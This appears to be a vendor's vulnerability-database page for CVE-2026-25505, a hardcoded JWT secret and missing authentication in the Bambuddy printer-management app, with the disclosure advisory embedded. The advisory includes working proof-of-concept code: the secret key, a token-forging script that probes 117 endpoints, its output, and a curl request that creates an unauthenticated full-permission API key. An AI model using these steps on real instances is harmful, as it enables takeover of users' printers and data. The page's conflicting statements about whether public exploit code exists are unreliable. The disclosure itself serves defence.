How severe is CVE-2026-25505?

CVE-2026-25505 has a CVSS score of 9.8/10, rated CRITICAL. Immediate patching is strongly recommended.

Which packages are affected by CVE-2026-25505?

CVE-2026-25505 affects the following packages: bambuddy (PyPI). Ecosystems affected: PyPI.

How do I fix CVE-2026-25505?

Update bambuddy to 0.1.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-25505 is resolved across your whole dependency graph.

How do I detect CVE-2026-25505 in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for bambuddy, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-25505 if there is no patch (or I can't update yet)?

Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Is CVE-2026-25505 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-25505 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-25505?

CVE-2026-25505 has an EPSS (Exploit Prediction Scoring System) score of 0.8%, placing it in the 57th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-25505?

CVE-2026-25505 is classified as Missing Authentication (CWE-306), CWE-321 (CWE-321). These weakness types describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was CVE-2026-25505 published, and has it been updated?

CVE-2026-25505 was published on February 4, 2026 and was last updated on October 28, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍

🐍 PyPI

Not in CISA KEV

CRITICAL severity

CVE-2026-25505 — bambuddy

CRITICALFix: maziggy/bambuddy@a82f927

CVE-2026-25505 is a critical-severity (CVSS 9.8) Missing Authentication vulnerability in bambuddy. A fix is available for bambuddy — see the affected versions and patch details below.

Bambuddy Uses Hardcoded Secret Key + Many API Endpoints do not Require Authentication

Also known asGHSA-gc24-px2r-5qmf

Published

Feb 4, 2026

Updated

Oct 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-25505.

EPSS Exploitation Probability

via FIRST.org ↗

0.8%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs57th percentile — riskier than 57% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

🐍bambuddy

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A hardcoded secret key used for signing JWTs is checked into source code
ManyAPI routes do not check authentication

Details

I am using the publicly available docker image at ghcr.io/maziggy/bambuddy

1. Hardcoded JWT Secret Key

https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28

<details> <summary>Copying the Authorization token from a request via browser networking tools into JWT.io confirms the token is signed with this key</summary> <img width="1591" height="937" alt="image" src="https://github.com/user-attachments/assets/fd6e805a-9380-438f-a412-623660fa3f5a" /> </details>

Any attacker can:

Forge valid JWT tokens for any user
Bypass authentication entirely
Gain full administrative access to any Bambuddy instance using the default key

Steps to Reproduce:

Run an instance of BamBuddy
Create admin user
Forge and use JWT:

import jwt
import requests

token = jwt.encode({"sub": "admin", "exp": 9999999999}, "bambuddy-secret-key-change-in-production", algorithm="HS256")
resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={"Authorization": f"Bearer {token}"})

print(resp.status_code) # 200
print(resp.text) # {"app":{"version":"0.1.7b","base_dir":"/app/data","archive_dir":"/app/data/archive"},"database": ...

2. Most API Routes do not check Auth

While investigating the JWT forgery, I noticed that requests without Authorization headers still returned information for many endpoints:

resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={}) # Empty headers

print(resp.status_code) # 200
print(resp.text) # {"app":{"version":"0.1.7b","base_dir":"/app/data","archive_dir":"/app/data/archive"},"database": ...

Full Script and Output

Note: I do not have smart plugs or spoolman set up to verify actual behavior with those endpoints so they are excluded from this script.

<details> <summary>Script to test GET endpoints with forged JWT and without any auth</summary>

#!/usr/bin/env python3
"""
Proof of Concept: JWT Forgery via Hardcoded Secret Key (VULN-001)
For security research purposes only.

Tests all GET endpoints to identify which are accessible without authentication.
"""

import requests
import jwt

# Hardcoded secret from backend/app/core/auth.py:28
HARDCODED_SECRET = "bambuddy-secret-key-change-in-production"
TARGET = "http://10.0.0.4:8000"
API_PREFIX = "/api/v1"

# All GET endpoints organized by router
ENDPOINTS = {
    "system": [
        "/system/info",
    ],
    "auth": [
        "/auth/status",
        "/auth/me",
    ],
    "users": [
        "/users",
        "/users/1",
        "/users/1/items-count",
    ],
    "groups": [
        "/groups",
        "/groups/permissions",
        "/groups/1",
    ],
    "settings": [
        "/settings",
        "/settings/check-ffmpeg",
        "/settings/spoolman",
        "/settings/backup",
        "/settings/virtual-printer/models",
        "/settings/virtual-printer",
        "/settings/mqtt/status",
    ],
    "printers": [
        "/printers/",
        "/printers/usb-cameras",
        "/printers/1",
        "/printers/1/status",
        "/printers/1/current-print-user",
        "/printers/1/cover",
        "/printers/1/files",
        "/printers/1/storage",
        "/printers/1/logging",
        "/printers/1/slot-presets",
        "/printers/1/slot-presets/1/1",
        "/printers/1/print/objects",
        "/printers/1/runtime-debug",
        "/printers/1/camera/status",
        "/printers/1/camera/test",
        "/printers/1/camera/plate-detection/status",
        "/printers/1/camera/plate-detection/references",
        "/printers/1/kprofiles/",
        "/printers/1/kprofiles/notes",
    ],
    "archives": [
        "/archives/",
        "/archives/search",
        "/archives/compare",
        "/archives/analysis/failures",
        "/archives/stats",
        "/archives/tags",
        "/archives/1",
        "/archives/1/similar",
        "/archives/1/duplicates",
        "/archives/1/capabilities",
        "/archives/1/gcode",
        "/archives/1/plates",
        "/archives/1/filament-requirements",
        "/archives/1/project-page",
        "/archives/1/source",
    ],
    "filaments": [
        "/filaments/",
        "/filaments/1",
        "/filaments/by-type/pla",
    ],
    "cloud": [
        "/cloud/status",
        "/cloud/settings",
        "/cloud/settings/1",
        "/cloud/devices",
        "/cloud/firmware-updates",
        "/cloud/fields",
        "/cloud/fields/print",
    ],
    "queue": [
        "/queue/",
        "/queue/1",
    ],
    "notifications": [
        "/notifications/",
        "/notifications/logs",
        "/notifications/logs/stats",
        "/notifications/1",
    ],
    "notification_templates": [
        "/notification-templates",
        "/notification-templates/variables",
        "/notification-templates/1",
    ],
    "updates": [
        "/updates/version",
        "/updates/check",
        "/updates/status",
    ],
    "maintenance": [
        "/maintenance/types",
        "/maintenance/overview",
        "/maintenance/summary",
        "/maintenance/printers/1",
        "/maintenance/items/1/history",
    ],
    "external_links": [
        "/external-links/",
        "/external-links/1",
    ],
    "projects": [
        "/projects",
        "/projects/templates",
        "/projects/1",
        "/projects/1/archives",
        "/projects/1/queue",
        "/projects/1/bom",
        "/projects/1/timeline",
    ],
    "library": [
        "/library/folders",
        "/library/folders/by-archive/1",
        "/library/folders/by-project/1",
        "/library/files",
        "/library/stats",
        "/library/folders/1",
        "/library/files/1",
        "/library/files/1/plates",
        "/library/files/1/gcode",
        "/library/files/1/filament-requirements",
    ],
    "api_keys": [
        "/api-keys/",
        "/api-keys/1",
    ],
    "webhook": [
        "/webhook/printer/1/status",
        "/webhook/queue",
    ],
    "ams_history": [
        "/ams-history/1/1",
    ],
    "support": [
        "/support/debug-logging",
        "/support/logs",
    ],
    "discovery": [
        "/discovery/info",
        "/discovery/status",
        "/discovery/printers",
        "/discovery/scan/status",
    ],
    "pending_uploads": [
        "/pending-uploads/",
        "/pending-uploads/count",
        "/pending-uploads/1",
    ],
    "firmware": [
        "/firmware/updates",
        "/firmware/updates/1",
        "/firmware/latest",
    ],
    "github_backup": [
        "/github-backup/config",
        "/github-backup/status",
        "/github-backup/logs",
    ],
    "metrics": [
        "/metrics",
    ],
}


def forge_token():
    """Forge a valid JWT token using the hardcoded secret."""
    payload = {"sub": "admin", "exp": 9999999999}
    return jwt.encode(payload, HARDCODED_SECRET, algorithm="HS256")


def test_endpoint(endpoint, headers):
    """Test a single endpoint and return status."""
    try:
        resp = requests.get(f"{TARGET}{API_PREFIX}{endpoint}", headers=headers, timeout=5)
        return resp.status_code, resp.text[:100] if resp.status_code == 200 else None
    except requests.RequestException as e:
        return "ERROR", str(e)[:50]


def main():
    token = forge_token()
    print(f"[*] Forged JWT token:\n    {token}\n")

    # Test with no auth, then with forged JWT
    test_modes = [
        ("NO AUTH", {}),
        ("FORGED JWT", {"Authorization": f"Bearer {token}"}),
    ]

    results = {"no_auth": [], "jwt_only": [], "both_fail": []}

    print(f"[*] Testing {sum(len(v) for v in ENDPOINTS.values())} endpoints against {TARGET}\n")
    print("=" * 70)

    for category, endpoints in ENDPOINTS.items():
        print(f"\n[{category.upper()}]")

        for endpoint in endpoints:
            no_auth_status, _ = test_endpoint(endpoint, {})
            jwt_status, preview = test_endpoint(endpoint, {"Authorization": f"Bearer {token}"})

            if no_auth_status == 200:
                results["no_auth"].append(endpoint)
                print(f"  {endpoint}: NO AUTH REQUIRED")
            elif jwt_status == 200:
                results["jwt_only"].append(endpoint)
                print(f"  {endpoint}: JWT WORKS")
            else:
                results["both_fail"].append((endpoint, no_auth_status, jwt_status))
                print(f"  {endpoint}: {no_auth_status} / {jwt_status}")

    # Summary
    print("\n" + "=" * 70)
    print("\n[SUMMARY]\n")

    print(f"Endpoints accessible WITHOUT authentication ({len(results['no_auth'])}):")
    for ep in results["no_auth"]:
        print(f"  - {ep}")

    print(f"\nEndpoints accessible with FORGED JWT only ({len(results['jwt_only'])}):")
    for ep in results["jwt_only"]:
        print(f"  - {ep}")

    print(f"\nEndpoints that rejected both ({len(results['both_fail'])}):")
    for ep, no_auth, jwt_auth in results["both_fail"]:
        print(f"  - {ep} (no_auth: {no_auth}, jwt: {jwt_auth})")


if __name__ == "__main__":
    main()

</details> <details> <summary>Script output</summary>

[*] Forged JWT token:
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzcGVlbmFoIiwiZXhwIjo5OTk5OTk5OTk5fQ.xeUmpf4PkhI7jHHGBPLWQEQQ4GTiiUOENeQkPpvNMnA

[*] Testing 117 endpoints against http://10.0.0.4:8000

======================================================================

[SYSTEM]
  /system/info: NO AUTH REQUIRED

[AUTH]
  /auth/status: NO AUTH REQUIRED
  /auth/me: JWT WORKS

[USERS]
  /users: JWT WORKS
  /users/1: JWT WORKS
  /users/1/items-count: JWT WORKS

[GROUPS]
  /groups: JWT WORKS
  /groups/permissions: JWT WORKS
  /groups/1: JWT WORKS

[SETTINGS]
  /settings: NO AUTH REQUIRED
  /settings/check-ffmpeg: NO AUTH REQUIRED
  /settings/spoolman: NO AUTH REQUIRED
  /settings/backup: NO AUTH REQUIRED
  /settings/virtual-printer/models: NO AUTH REQUIRED
  /settings/virtual-printer: NO AUTH REQUIRED
  /settings/mqtt/status: NO AUTH REQUIRED

[PRINTERS]
  /printers/: JWT WORKS
  /printers/usb-cameras: JWT WORKS
  /printers/1: JWT WORKS
  /printers/1/status: JWT WORKS
  /printers/1/current-print-user: JWT WORKS
  /printers/1/cover: JWT WORKS
  /printers/1/files: JWT WORKS
  /printers/1/storage: JWT WORKS
  /printers/1/logging: JWT WORKS
  /printers/1/slot-presets: JWT WORKS
  /printers/1/slot-presets/1/1: JWT WORKS
  /printers/1/print/objects: JWT WORKS
  /printers/1/runtime-debug: JWT WORKS
  /printers/1/camera/status: NO AUTH REQUIRED
  /printers/1/camera/test: ERROR / ERROR
  /printers/1/camera/plate-detection/status: NO AUTH REQUIRED
  /printers/1/camera/plate-detection/references: NO AUTH REQUIRED
  /printers/1/kprofiles/: ERROR / ERROR
  /printers/1/kprofiles/notes: NO AUTH REQUIRED

[ARCHIVES]
  /archives/: NO AUTH REQUIRED
  /archives/search: 422 / 422
  /archives/compare: 422 / 422
  /archives/analysis/failures: NO AUTH REQUIRED
  /archives/stats: NO AUTH REQUIRED
  /archives/tags: NO AUTH REQUIRED
  /archives/1: NO AUTH REQUIRED
  /archives/1/similar: NO AUTH REQUIRED
  /archives/1/duplicates: NO AUTH REQUIRED
  /archives/1/capabilities: NO AUTH REQUIRED
  /archives/1/gcode: NO AUTH REQUIRED
  /archives/1/plates: NO AUTH REQUIRED
  /archives/1/filament-requirements: NO AUTH REQUIRED
  /archives/1/project-page: NO AUTH REQUIRED
  /archives/1/source: 404 / 404

[FILAMENTS]
  /filaments/: NO AUTH REQUIRED
  /filaments/1: NO AUTH REQUIRED
  /filaments/by-type/pla: NO AUTH REQUIRED

[CLOUD]
  /cloud/status: NO AUTH REQUIRED
  /cloud/settings: 401 / 401
  /cloud/settings/1: 401 / 401
  /cloud/devices: 401 / 401
  /cloud/firmware-updates: 401 / 401
  /cloud/fields: NO AUTH REQUIRED
  /cloud/fields/print: NO AUTH REQUIRED

[QUEUE]
  /queue/: NO AUTH REQUIRED
  /queue/1: 404 / 404

[NOTIFICATIONS]
  /notifications/: NO AUTH REQUIRED
  /notifications/logs: NO AUTH REQUIRED
  /notifications/logs/stats: NO AUTH REQUIRED
  /notifications/1: 404 / 404

[NOTIFICATION_TEMPLATES]
  /notification-templates: NO AUTH REQUIRED
  /notification-templates/variables: NO AUTH REQUIRED
  /notification-templates/1: NO AUTH REQUIRED

[UPDATES]
  /updates/version: NO AUTH REQUIRED
  /updates/check: NO AUTH REQUIRED
  /updates/status: NO AUTH REQUIRED

[MAINTENANCE]
  /maintenance/types: NO AUTH REQUIRED
  /maintenance/overview: NO AUTH REQUIRED
  /maintenance/summary: NO AUTH REQUIRED
  /maintenance/printers/1: NO AUTH REQUIRED
  /maintenance/items/1/history: NO AUTH REQUIRED

[EXTERNAL_LINKS]
  /external-links/: NO AUTH REQUIRED
  /external-links/1: 404 / 404

[PROJECTS]
  /projects: NO AUTH REQUIRED
  /projects/templates: NO AUTH REQUIRED
  /projects/1: NO AUTH REQUIRED
  /projects/1/archives: NO AUTH REQUIRED
  /projects/1/queue: NO AUTH REQUIRED
  /projects/1/bom: NO AUTH REQUIRED
  /projects/1/timeline: NO AUTH REQUIRED

[LIBRARY]
  /library/folders: NO AUTH REQUIRED
  /library/folders/by-archive/1: NO AUTH REQUIRED
  /library/folders/by-project/1: NO AUTH REQUIRED
  /library/files: NO AUTH REQUIRED
  /library/stats: NO AUTH REQUIRED
  /library/folders/1: NO AUTH REQUIRED
  /library/files/1: 404 / 404
  /library/files/1/plates: 404 / 404
  /library/files/1/gcode: 404 / 404
  /library/files/1/filament-requirements: 404 / 404

[API_KEYS]
  /api-keys/: NO AUTH REQUIRED
  /api-keys/1: NO AUTH REQUIRED

[WEBHOOK]
  /webhook/printer/1/status: 401 / 401
  /webhook/queue: 401 / 401

[AMS_HISTORY]
  /ams-history/1/1: NO AUTH REQUIRED

[SUPPORT]
  /support/debug-logging: NO AUTH REQUIRED
  /support/logs: NO AUTH REQUIRED

[DISCOVERY]
  /discovery/info: NO AUTH REQUIRED
  /discovery/status: NO AUTH REQUIRED
  /discovery/printers: NO AUTH REQUIRED
  /discovery/scan/status: NO AUTH REQUIRED

[PENDING_UPLOADS]
  /pending-uploads/: NO AUTH REQUIRED
  /pending-uploads/count: NO AUTH REQUIRED
  /pending-uploads/1: 404 / 404

[FIRMWARE]
  /firmware/updates: NO AUTH REQUIRED
  /firmware/updates/1: NO AUTH REQUIRED
  /firmware/latest: NO AUTH REQUIRED

[GITHUB_BACKUP]
  /github-backup/config: NO AUTH REQUIRED
  /github-backup/status: NO AUTH REQUIRED
  /github-backup/logs: NO AUTH REQUIRED

[METRICS]
  /metrics: 401 / 401

======================================================================

[SUMMARY]

Endpoints accessible WITHOUT authentication (77):
  - /system/info
  - /auth/status
  - /settings
  - /settings/check-ffmpeg
  - /settings/spoolman
  - /settings/backup
  - /settings/virtual-printer/models
  - /settings/virtual-printer
  - /settings/mqtt/status
  - /printers/1/camera/status
  - /printers/1/camera/plate-detection/status
  - /printers/1/camera/plate-detection/references
  - /printers/1/kprofiles/notes
  - /archives/
  - /archives/analysis/failures
  - /archives/stats
  - /archives/tags
  - /archives/1
  - /archives/1/similar
  - /archives/1/duplicates
  - /archives/1/capabilities
  - /archives/1/gcode
  - /archives/1/plates
  - /archives/1/filament-requirements
  - /archives/1/project-page
  - /filaments/
  - /filaments/1
  - /filaments/by-type/pla
  - /cloud/status
  - /cloud/fields
  - /cloud/fields/print
  - /queue/
  - /notifications/
  - /notifications/logs
  - /notifications/logs/stats
  - /notification-templates
  - /notification-templates/variables
  - /notification-templates/1
  - /updates/version
  - /updates/check
  - /updates/status
  - /maintenance/types
  - /maintenance/overview
  - /maintenance/summary
  - /maintenance/printers/1
  - /maintenance/items/1/history
  - /external-links/
  - /projects
  - /projects/templates
  - /projects/1
  - /projects/1/archives
  - /projects/1/queue
  - /projects/1/bom
  - /projects/1/timeline
  - /library/folders
  - /library/folders/by-archive/1
  - /library/folders/by-project/1
  - /library/files
  - /library/stats
  - /library/folders/1
  - /api-keys/
  - /api-keys/1
  - /ams-history/1/1
  - /support/debug-logging
  - /support/logs
  - /discovery/info
  - /discovery/status
  - /discovery/printers
  - /discovery/scan/status
  - /pending-uploads/
  - /pending-uploads/count
  - /firmware/updates
  - /firmware/updates/1
  - /firmware/latest
  - /github-backup/config
  - /github-backup/status
  - /github-backup/logs

Endpoints accessible with FORGED JWT only (20):
  - /auth/me
  - /users
  - /users/1
  - /users/1/items-count
  - /groups
  - /groups/permissions
  - /groups/1
  - /printers/
  - /printers/usb-cameras
  - /printers/1
  - /printers/1/status
  - /printers/1/current-print-user
  - /printers/1/cover
  - /printers/1/files
  - /printers/1/storage
  - /printers/1/logging
  - /printers/1/slot-presets
  - /printers/1/slot-presets/1/1
  - /printers/1/print/objects
  - /printers/1/runtime-debug

Endpoints that rejected both (20):
  - /printers/1/camera/test (no_auth: ERROR, jwt: ERROR)
  - /printers/1/kprofiles/ (no_auth: ERROR, jwt: ERROR)
  - /archives/search (no_auth: 422, jwt: 422)
  - /archives/compare (no_auth: 422, jwt: 422)
  - /archives/1/source (no_auth: 404, jwt: 404)
  - /cloud/settings (no_auth: 401, jwt: 401)
  - /cloud/settings/1 (no_auth: 401, jwt: 401)
  - /cloud/devices (no_auth: 401, jwt: 401)
  - /cloud/firmware-updates (no_auth: 401, jwt: 401)
  - /queue/1 (no_auth: 404, jwt: 404)
  - /notifications/1 (no_auth: 404, jwt: 404)
  - /external-links/1 (no_auth: 404, jwt: 404)
  - /library/files/1 (no_auth: 404, jwt: 404)
  - /library/files/1/plates (no_auth: 404, jwt: 404)
  - /library/files/1/gcode (no_auth: 404, jwt: 404)
  - /library/files/1/filament-requirements (no_auth: 404, jwt: 404)
  - /webhook/printer/1/status (no_auth: 401, jwt: 401)
  - /webhook/queue (no_auth: 401, jwt: 401)
  - /pending-uploads/1 (no_auth: 404, jwt: 404)
  - /metrics (no_auth: 401, jwt: 401)

</details>

While this script only tests the GET endpoints, these vulnerabilities are not exclusive to GET endpoints. The GET endpoints were easiest to script since they generally don't require many parameters, but other methods still appear vulnerable. I manually tested POST /api/v1/api-keys/ and was able to create a new API key with all permissions without auth:

curl 'http://10.0.0.4:8000/api/v1/api-keys/' -X POST -H 'Content-Type: application/json' --data-raw '{"name":"new key","can_queue":true,"can_control_printer":true,"can_read_status":true}'

yields

{"id":7,"name":"new key","key_prefix":"bb_QW2su...","can_queue":true,"can_control_printer":true,"can_read_status":true,"printer_ids":null,"enabled":true,"last_used":null,"created_at":"2026-02-01T23:14:15","expires_at":null,"key":"bb_QW2suZVIHiUbadSyyAMrnmf0zFhDG5e9BSVBvb4ZN-w"}

Impact

BamBuddy is vulnerable to unauthorized access and control

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`bambuddy`	all versions	0.1.7`pip install --upgrade 'bambuddy==0.1.7'`

Affected Products

1 product · 1 configurations

Application

bambuddybambuddy

< 0.1.7

range

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for bambuddy, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update bambuddy to 0.1.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-25505 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

### Summary 1. A hardcoded secret key used for signing JWTs is checked into source code 2. ManyAPI routes do not check authentication ### Details I am using the publicly available docker image at `ghcr.io/maziggy/bambuddy` #### 1. Hardcoded JWT Secret Key https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28 <details> <summary>Copying the Authorization token from a request via browser networking tools into JWT.io confirms the token is signed with this key</summary> <img width="1591" height="937" alt="image" src="https://github.com/use

O3 Security · Impact-Aware SCA

Is CVE-2026-25505 in your dependencies?

Find it across PyPI, including transitive dependencies.

Scan my dependencies How O3 SCA works

CVSS Score

9.8/10CVSS v3 base

Vector breakdown

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

Raw vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE Classification

CWE-306Missing Authentication CWE-321CWE-321

Weaponization

No Nuclei template, Metasploit module or public proof-of-concept found.

Timeline

Disclosed

Feb 4, 2026

Last updated

Oct 28, 2026

Identifiers

CVE-2026-25505

GHSA-gc24-px2r-5qmf

References

Advisorygithub.com · CVE 2026 25505.json Advisorygithub.com · GHSA gc24 px2r 5qmf Advisorynvd.nist.gov · CVE 2026 25505 Fixgithub.com · a82f9278d2d587b7042a0858aab79fd8b6e3add9 Fixgithub.com · c31f2968889c855f1ffacb700c2c9970deb2a6fb Fixgithub.com Webgithub.com · auth.py Webgithub.com · CHANGELOG.md Webgithub.com · v0.1.7 Packagegithub.com · bambuddy

Related vulnerabilities

This CVE is critical severity; 2 of 8 other CVEs with CWE-306 are rated as high or higher (top: critical).

GHSA-m3qr-fvp4-78xjCVE-2026-62264CVE-2026-114126CVE-2026-112949CVE-2026-113648CVE-2026-105192CVE-2026-84313CVE-2026-102748Browse all CWE-306

Provenance

Sources

OSV.devNVDFIRST.org (EPSS)

Last verifiedOct 28, 2026

CVE-2026-25505 — bambuddy

Exploitation Status

Proof-of-concept exploit code exists

EPSS Exploitation Probability

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

Description

Summary

Details

1. Hardcoded JWT Secret Key

2. Most API Routes do not check Auth

Full Script and Output

Impact

Affected Packages

Affected Products

Detection & mitigation playbook

Detect

Fix

Workarounds

Frequently Asked Questions

Is CVE-2026-25505 in your dependencies?